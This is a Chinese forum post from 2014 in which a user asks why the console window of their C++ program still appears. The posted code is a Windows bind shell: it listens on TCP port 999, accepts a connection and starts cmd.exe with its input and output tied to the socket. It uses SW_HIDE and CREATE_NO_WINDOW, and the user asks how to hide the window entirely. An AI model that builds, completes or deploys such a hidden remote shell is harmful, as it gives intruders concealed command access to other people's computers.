[逝去的100~~ 2014/10/07 20: 20]
程序想要实现控制台窗口的隐藏,但是窗口每次运行总会弹出来。为什么呢?
代码如下:
// Mini.cpp : 定义控制台应用程序的入口点。 #include "stdafx.h" #pragma comment(lib,"ws2_32.lib") #include <winsock2.h> #include <windows.h> //#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) #define MAX_SER 10 #define HOST_PATH 256 #define HOSTNAME_SIZE HOST_PATH #define MasterPort 999 //定义监听的端口 char hostName[MAX_PATH]={0}; unsigned short maxService; unsigned short port; void Service(LPVOID lpv); int LoopControl(SOCKET llistenfd,int isMultiTasking); void initial(); int initSockets(void); //初始化Windows Socket int main(int argc, char * argv[]) { SOCKET listenFd,acceptfd; struct sockaddr_in serverAddr,clientAddr; int nSize=sizeof(sockaddr_in); int err; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; char szCMDPath[255]; initial(); initSockets(); //分配内存资源 ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo, sizeof(STARTUPINFO)); GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath)); //GetStartupInfo(&StartupInfo); //创建socket //listenFd=socket(PF_INET,SOCK_STREAM,0); listenFd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); if(listenFd==INVALID_SOCKET){ printf("error:out of socket resource \n"); return 1; } //bind本机的端口 serverAddr.sin_family=AF_INET; //协议类型是INET serverAddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY); //本机IP serverAddr.sin_port=htons(MasterPort); //绑定端口为5054 err=bind(listenFd,(const struct sockaddr *)&serverAddr,sizeof(serverAddr)); if(err==INVALID_SOCKET){ printf("error: unable to bind socket \n"); return 1; } //listen 监听端口 err=listen(listenFd,3); if(err==INVALID_SOCKET){ printf("error: listen socket failed \n"); return 1; } printf("listen......"); acceptfd=accept(listenFd,(struct sockaddr *)&clientAddr,&nSize); //接收客户连接的准备 //配置隐藏窗口结构体 StartupInfo.cb=sizeof(STARTUPINFO); StartupInfo.wShowWindow=SW_HIDE; StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; //StartupInfo.cbReserved2=0; //StartupInfo.lpReserved2=NULL; StartupInfo.hStdInput=(HANDLE)listenFd; StartupInfo.hStdOutput=(HANDLE)listenFd; StartupInfo.hStdError=(HANDLE)listenFd; //创建匿名管道 CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,CREATE_NO_WINDOW,NULL,NULL,&StartupInfo,&ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess,INFINITE); CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); printf("server is down \n"); //关闭进程句柄 closesocket(listenFd); closesocket(acceptfd); WSACleanup(); return 0; } void initial() { maxService=3; port=5054; } /* * Winsock服务初始化 */ int initSockets(void) { WSADATA wsaData; WORD sockVersion; //typedef unsigned short WORD(16) int err; sockVersion=MAKEWORD(2,2); err=WSAStartup(sockVersion,&wsaData); if(err!=0) { printf("error %d :winsock not avaliable\n",err); } printf("environemnt invaild success.....\n"); return 0; }
想法是通过CreateProcess来实现窗口的隐藏,添加以下的代码,确实实现了窗口的隐藏,但不是本意:
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
运行的效果图如下:
看了其他的介绍说:要达到DOS程序运行时不显示窗口的效果,有两种可能:一是创建该DOS进程时,指定不创建窗口;二是隐藏该DOS进程有窗口。我这里都明确指定了啊。
Help
时间: 2024-10-18 20:23:17